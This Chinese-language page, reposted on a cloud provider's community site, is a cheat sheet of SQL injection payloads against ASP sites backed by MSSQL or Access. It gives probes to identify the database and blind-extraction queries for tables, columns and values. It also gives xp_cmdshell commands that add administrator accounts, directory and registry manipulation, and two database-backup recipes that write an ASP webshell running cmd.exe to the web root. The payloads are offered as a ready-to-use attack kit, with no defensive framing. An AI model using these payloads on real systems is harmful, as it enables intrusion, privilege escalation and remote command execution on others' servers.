全面認識ASP注入技巧_木馬相關

來源:互聯網
上載者:User
複製代碼 代碼如下:

1.判斷是否有注入 
;and 1=1 
;and 1=2 

2.初步判斷是否是mssql 
;and user>0 

3.注入參數是字元 
'and [查詢條件] and ''=' 

4.搜尋時沒過濾參數的 
'and [查詢條件] and '%25'=' 

5.判斷資料庫系統 
;and (select count(*) from sysobjects)>0 mssql 
;and (select count(*) from msysobjects)>0 access 

6.猜資料庫 
;and (Select Count(*) from [資料庫名])>0 

7.猜欄位 
;and (Select Count(欄位名) from 資料庫名)>0 

8.猜欄位中記錄長度 
;and (select top 1 len(欄位名) from 資料庫名)>0 

9.(1)猜欄位的ascii值(access) 
;and (select top 1 asc(mid(欄位名,1,1)) from 資料庫名)>0 

(2)猜欄位的ascii值(mssql) 
;and (select top 1 unicode(substring(欄位名,1,1)) from 資料庫名)>0 

10.測試許可權結構(mssql) 
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 

11.添加mssql和系統的帳戶 
;exec master.dbo.sp_addlogin username;-- 
;exec master.dbo.sp_password null,username,password;-- 
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 

12.(1)遍曆目錄 
;create table dirs(paths varchar(100), id int) 
;insert dirs exec master.dbo.xp_dirtree 'c:\' 
;and (select top 1 paths from dirs)>0 
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 

(2)遍曆目錄 
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有磁碟機 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的分類樹結構 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看檔案的內容 

13.mssql中的預存程序 
xp_regenumvalues 註冊表根鍵, 子鍵 
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有索引值 
xp_regread 根鍵,子鍵,索引值名 
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值 
xp_regwrite 根鍵,子鍵, 值名, 實值型別, 值 
實值型別有2種REG_SZ 表示字元型,REG_DWORD 表示整型 
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 
'TestValueName','reg_sz','hello' 寫入註冊表 
xp_regdeletevalue 根鍵,子鍵,值名 
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值 
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值 

14.mssql的backup建立webshell 
use model 
create table cmd(str image); 
insert into cmd(str) values ('<% Dim oScript %>'); 
backup database model to disk='c:\l.asp'; 

15.mssql內建函數 
;and (select @@version)>0 獲得Windows的版本號碼 
;and user_name()='dbo' 判斷當前系統的串連使用者是不是sa 
;and (select user_name())>0 爆當前系統的串連使用者 
;and (select db_name())>0 得到當前串連的資料庫 



16.簡潔的webshell 
use model 
create table cmd(str image); 
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); 
backup database model to disk='g:\wwwtest\l.asp'

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.